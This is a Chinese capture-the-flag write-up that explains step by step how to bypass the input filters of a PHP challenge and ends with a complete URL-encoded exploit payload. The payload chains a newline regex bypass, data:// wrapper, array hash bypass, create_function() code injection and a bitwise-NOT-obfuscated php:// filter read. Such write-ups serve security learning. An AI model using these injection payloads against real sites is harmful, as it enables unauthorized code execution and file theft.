直接查看源代码
base32加密
一整套源代码
第一个if
$_SERVER[‘QUERY_STRING’]是从url提取字符窜,并且他设置了非常长的黑名单,可以利用url关键字编码绕过
第二个if
意思是如果file这个get参数里面没有http或https不区分大小写且 debu这个get参数要匹配到aqua_is_cute,并且又来了个强不等于
这个绕过其实很简单,因为preg_match只能匹配一行,利用%0a换行即可绕过
REQUEST可以接受get和post请求,但是post具有优先级,所有可以用post和get传两个一样的来绕过这里有个坑
REQUEST会把cookie包含进来,由于cookie里有英文所以过不了那个if,因此需要删除cookie才能过
这个直接用data协议过就行了
这个类似MD5弱碰撞,数组绕过
然后注意extract()这个函数,意思将数组的键值赋值给键名
而这一段很明显就是要我们利用extract函数将code和args赋值,然后拿flag
由于禁用了很多关键函数,同时也限制了函数的传参,看了wp,emmmmmm
这题是考察create_function()的使用
我百度一搜,娘的直接有漏洞
这是create_function()函数的举例
由于他包含了flag.php,由此我们可以用函数输出所有的变量
函数大全
print_r()被他过滤了,可以用var_dump()
发现真正的flag位置
无参数RCE里面一些函数的关键字被过滤了
不可行
虽然过滤了include 还能用require进行文件包含
过滤了"可以用()代替
就算他有严格的过滤,由于没有过滤取反符号,直接利用取反
利用php伪协议直接读取
最终的payload如下
%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a&%66%69%6c%65=%64%61%74%61%3a%2f%2f%74%65%78%74%2f%70%6c%61%69%6e%2c%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%73%68%61%6e%61[]=1&%70%61%73%73%77%64[]=2&%66%6c%61%67%5b%63%6f%64%65%5d=%63%72%65%61%74%65%5f%66%75%6e%63%74%69%6f%6e&%66%6c%61%67%5b%61%72%67%5d=;}require(~(%8F%97%8F%C5%D0%D0%99%96%93%8B%9A%8D%D0%8D%9A%9E%9B%C2%9C%90%91%89%9A%8D%8B%D1%9D%9E%8C%9A%C9%CB%D2%9A%91%9C%90%9B%9A%D0%8D%9A%8C%90%8A%8D%9C%9A%C2%8D%9A%9E%CE%99%93%CB%98%D1%8F%97%8F));//